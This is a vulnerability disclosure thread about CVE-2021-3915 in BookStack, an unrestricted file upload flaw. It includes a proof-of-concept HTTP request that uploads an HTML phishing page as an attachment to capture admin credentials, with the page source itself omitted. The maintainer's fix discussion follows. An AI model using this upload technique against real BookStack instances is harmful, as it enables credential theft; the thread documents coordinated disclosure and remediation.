Unrestricted Upload of File with Dangerous Type in bookstackapp/bookstack

0

Valid Reported on Oct 28th 2021

Description

During reading recent BookStack source code (31665410) I discovered no uploaded file type and size check. Authenticated user with attachment create role can upload any type file. One of possibilities is to upload phishing page and get administrators credentials.

Proof of Concept

```
POST /attachments/upload?uploaded_to=1 HTTP/1.1
Host: 172.17.0.1:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:94.0) Gecko/20100101 Firefox
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------3009
Content-Length: 8071
Origin: http://172.17.0.1:8888
DNT: 1
Connection: close
Referer: http://172.17.0.1:8888/books/new-name-book/page/nowa-strona-asdf/e
Cookie: XSRF-TOKEN=eyJpdiI6ImFZNjR1bmp5d1BTWkFNQU83WFZXelE9PSIsInZhbHVlIjoi

-----------------------------300959455021219094302820715478
Content-Disposition: form-data; name="_token"

VUGoBgaUdmFPvl3XRKJLUaLJc5ETKEkhGinTNE3t
-----------------------------300959455021219094302820715478
Content-Disposition: form-data; name="file"; filename="phish.html"
Content-Type: text/html

[PHISHING PAGE SOURCE CODE]

-----------------------------300959455021219094302820715478--
```

Next step is to seduce user with higher privileges and abillity to read page with id 1 to see http://172.17.0.1:8888/attachments/[ID RETURNED BY POST]?open=true

Impact

Host phishing pages and get passwords of admin users

CVE
CVE-2021-3915
(Published)

Vulnerability Type
CWE-434: Unrestricted Upload of File with Dangerous Type

Severity
High (7.6)

Visibility
Public

Status
Fixed

Found by

theworstcomrade
@theworstcomrade
unranked

Fixed by

Dan Brown
@ssddanbrown
maintainer

This report was seen 504 times.

We have contacted a member of the **bookstackapp/bookstack** team and are waiting to hear back a year ago

Dan Brown a year ago Maintainer

Thanks for reporting @theworstcomrade, Good find!

This feature is designed to allow uploads of any desired file type so it'll cause problems to whitelist entry in any way. In addition, the "inline"/non-dowload download of attachments has come from heavy vocal request from users and again there's a large range of file types this would be suited to serve.
If i was to specifically prevent serving of html content (Force HTML mime types(s) to be downloaded in response) do you feel that would suitably cover this vulnerability?

You also mentioned the lack of size check, typically there are limits set at the webserver level in regards to uploads. Do you believe we should be performing a level of size checking in this functionality on the application side also?

Lastly (Sorry for the amount of questions) huntr.dev is showing our prize pot as deployed for the next 10 days or so. I'm not fully confident in how this platform works, but would you prefer me to wait (If possible) for that time before marking as valid to increase chance of a prize being awarded? I have requested a larger pot but think I'm on a waitlist.

theworstcomrade a year ago Researcher

Hi @ssddanbrown,

If i was to specifically prevent serving of html content (Force HTML mime types(s) to be downloaded in response) do you feel that would suitably cover this vulnerability?
For this vulnerability, html file attachments render prevent will be good. I think You should also look at php files, which are stored with real extension. I see, that they are not available from root, but this may be good for the future if someone would find other vulnerability to some how run them. Please also remember, that if you won't set any whitelist of mime types possible to upload, someone can in future find other vulnerability in same place maybe with different impact.

Do you believe we should be performing a level of size checking in this functionality on the application side also?
In my opinion security of application should be multi-layered. In this case we know about this possibility to upload large files or very small size files, but not everyone who'd install it on own server will remember checking server maximum file size.

I'm not fully confident in how this platform works, but would you prefer me to wait (If possible) for that time before marking as valid to increase chance of a prize being awarded?
When I sent this report I knew I might not receive the award so you can mark this report as valid now (if you think so :) right now.

Dan Brown a year ago Maintainer

Thanks @theworstcomrade for the response. I'll therefore look to apply and release a patch for this early next week. to prevent HTML file attachment rendering via the open parameter. .

Dan Brown validated this vulnerability a year ago

theworstcomrade has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Dan Brown marked this as fixed with commit ae155d a year ago

Dan Brown has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Dan Brown a year ago Maintainer

I added a whitelist for inline/non-download attchment serving in the end to be safe:
https://github.com/BookStackApp/BookStack/commit/ae155d67454d6b9f6c93b2bb457aaa4b2eb1a9ed

Can't really restrict incoming upload types without causing a large nuisance to users since the attachment system is meant to be general purpose for any types of files but hopefully controlling how these files are provided back will cover this enough. I did also change how uploaded files are stored so they're not saved with a normal file extension in the name

(https://github.com/BookStackApp/BookStack/commit/bfbccbede14853c68edecf5dd5d08a50a6ed5c9d) to help lessen the impact if the storage folder was exposed like you mentioned.

I've opened an issue in the project for setting a file size limit:
https://github.com/BookStackApp/BookStack/issues/3033
Need to do that in a careful way to prevent breaking existing instances and to reduce the levels of configuration for admins so am targeting that for the next feature release.

theworstcomrade a year ago Researcher

@ssddanbrown this patch looks good, I am no longer able to repeat the vulnerability

Sign in to join this conversation